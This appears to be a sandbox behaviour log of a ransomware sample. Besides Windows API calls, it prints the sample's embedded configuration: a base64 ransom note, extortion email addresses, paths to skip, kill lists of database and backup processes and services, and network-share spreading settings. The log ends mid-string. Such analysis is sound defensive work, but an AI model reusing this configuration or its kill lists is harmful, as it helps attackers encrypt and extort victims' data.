# Flog Txt Version 1
# Analyzer Version: 3.2.1
# Analyzer Build Date: Jan 31 2020 07:36:36
# Log Creation Date: 03.02.2020 06:58:47.445

Process:
	id = "1"
	image_name = "wwllww.vexe.exe"
	filename = "c:\\users\\fd1hvy\\desktop\\wwllww.vexe.exe"
	page_root = "0xa765000"
	os_pid = "0x13bc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x7d0"
	cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\wwllww.vexe.exe\" "
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1
	os_tid = 0x13c0

	[0040.387] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x254) returned 0x93e690
	[0040.468] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x6) returned 0x932b58
	[0040.468] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0040.468] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0040.468] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x941af0
	[0040.468] RtlFreeAnsiString (AnsiString="N") 
	[0040.468] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0040.468] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x77850000) returned 0x0
	[0040.468] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x941af0) returned 1
	[0040.469] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x932b58) returned 1
	[0040.469] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x6) returned 0x932b58
	[0040.469] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0040.469] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0040.469] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x941958
	[0040.469] RtlFreeAnsiString (AnsiString="N") 
	[0040.469] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0040.469] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x77850000) returned 0x0
	[0040.469] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x941958) returned 1
	[0040.470] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x932b58) returned 1
	[0040.470] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x6) returned 0x932b58
	[0040.470] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0040.470] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0040.471] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xc) returned 0x941910
	[0040.471] RtlFreeAnsiString (AnsiString="N") 
	[0040.471] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0040.471] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x77850000) returned 0x0
	[0040.471] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x941910) returned 1
	[0040.471] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x932b58) returned 1
	[0040.474] RtlInitUnicodeString (in: DestinationString=0x4ff998, SourceString="advapi32.dll" | out: DestinationString="advapi32.dll") 
	[0040.474] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32.dll", BaseAddress=0x4ff9a4 | out: BaseAddress=0x4ff9a4*=0x76390000) returned 0x0
	[0042.942] RtlInitUnicodeString (in: DestinationString=0x4ff998, SourceString="mpr.dll" | out: DestinationString="mpr.dll") 
	[0042.942] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x4ff9a4 | out: BaseAddress=0x4ff9a4*=0x741a0000) returned 0x0
	[0043.096] RtlInitUnicodeString (in: DestinationString=0x4ff998, SourceString="shell32.dll" | out: DestinationString="shell32.dll") 
	[0043.096] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x4ff9a4 | out: BaseAddress=0x4ff9a4*=0x74e50000) returned 0x0
	[0052.007] RtlInitUnicodeString (in: DestinationString=0x4ff998, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") 
	[0052.007] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x4ff9a4 | out: BaseAddress=0x4ff9a4*=0x74180000) returned 0x0
	[0052.108] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x7) returned 0x948928
	[0052.108] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="SRVCLI" | out: DestinationString="SRVCLI") 
	[0052.108] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0
	[0052.108] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0xe) returned 0x945218
	[0052.108] RtlFreeAnsiString (AnsiString="S") 
	[0052.108] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="SRVCLI" | out: DestinationString="SRVCLI") 
	[0052.108] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x74160000) returned 0x0
	[0052.211] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x945218) returned 1
	[0052.211] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x948928) returned 1
	[0052.211] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x9) returned 0x945170
	[0052.211] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="NETUTILS" | out: DestinationString="NETUTILS") 
	[0052.211] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0
	[0052.211] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x12) returned 0x9490b8
	[0052.211] RtlFreeAnsiString (AnsiString="N") 
	[0052.211] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="NETUTILS" | out: DestinationString="NETUTILS") 
	[0052.211] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x74150000) returned 0x0
	[0052.299] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x9490b8) returned 1
	[0052.299] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x945170) returned 1
	[0052.299] RtlInitUnicodeString (in: DestinationString=0x4ff998, SourceString="ole32.dll" | out: DestinationString="ole32.dll") 
	[0052.299] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ole32.dll", BaseAddress=0x4ff9a4 | out: BaseAddress=0x4ff9a4*=0x76470000) returned 0x0
	[0053.275] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1b) returned 0x94ed38
	[0053.275] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.275] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0053.275] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x36) returned 0x94be10
	[0053.275] RtlFreeAnsiString (AnsiString="a") 
	[0053.275] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.275] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x77130000) returned 0x0
	[0053.275] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94be10) returned 1
	[0053.275] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94ed38) returned 1
	[0053.276] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1b) returned 0x94ef68
	[0053.276] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.276] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0053.276] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x36) returned 0x94bf10
	[0053.276] RtlFreeAnsiString (AnsiString="a") 
	[0053.276] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.276] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x77130000) returned 0x0
	[0053.276] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94bf10) returned 1
	[0053.276] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94ef68) returned 1
	[0053.276] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1b) returned 0x94f0f8
	[0053.276] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.276] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0053.276] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x36) returned 0x94bb10
	[0053.276] RtlFreeAnsiString (AnsiString="a") 
	[0053.276] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.276] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x77130000) returned 0x0
	[0053.276] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94bb10) returned 1
	[0053.276] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94f0f8) returned 1
	[0053.276] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x1b) returned 0x94f0d0
	[0053.276] RtlInitAnsiString (in: DestinationString=0x4ff920, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.277] RtlAnsiStringToUnicodeString (in: DestinationString=0x4ff928, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0053.277] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x36) returned 0x94bf50
	[0053.277] RtlFreeAnsiString (AnsiString="a") 
	[0053.277] RtlInitUnicodeString (in: DestinationString=0x4ff92c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0053.277] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x4ff938 | out: BaseAddress=0x4ff938*=0x77130000) returned 0x0
	[0053.277] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94bf50) returned 1
	[0053.277] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x94f0d0) returned 1
	[0053.277] RtlInitUnicodeString (in: DestinationString=0x4ff998, SourceString="oleaut32.dll" | out: DestinationString="oleaut32.dll") 
	[0053.277] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="oleaut32.dll", BaseAddress=0x4ff9a4 | out: BaseAddress=0x4ff9a4*=0x76950000) returned 0x0
	[0053.534] RtlInitUnicodeString (in: DestinationString=0x4ff998, SourceString="psapi.dll" | out: DestinationString="psapi.dll") 
	[0053.534] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0x4ff9a4 | out: BaseAddress=0x4ff9a4*=0x77830000) returned 0x0
	[0053.904] FindResourceA (hModule=0x820000, lpName=0x7a69, lpType=0x539) returned 0x838048
	[0053.904] LoadResource (hModule=0x820000, hResInfo=0x838048) returned 0x838058
	[0053.904] LockResource (hResData=0x838058) returned 0x838058
	[0053.904] SizeofResource (hModule=0x820000, hResInfo=0x838048) returned 0x14fd
	[0053.904] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x14fd) returned 0x94fc50
	[0053.904] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x5) returned 0x948788
	[0053.904] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x100) returned 0x9424a8
	[0053.904] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x100) returned 0x944bf8
	[0053.904] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x944bf8) returned 1
	[0053.904] RtlFreeHeap (HeapHandle=0x930000, Flags=0x0, BaseAddress=0x9424a8) returned 1
	[0053.904] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948f98
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x948798
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x949098
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x4) returned 0x9487e8
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x9490b8
	[0053.905] RtlReAllocateHeap (Heap=0x930000, Flags=0x8, Ptr=0x9487e8, Size=0x8) returned 0x948928
	[0053.905] RtlAllocateHeap (HeapHandle=0x930000, Flags=0x8, Size=0x18) returned 0x948d98
	[0053.905] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x4ff8b0, _Radix=0 | out: _EndPtr=0x4ff8b0*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program 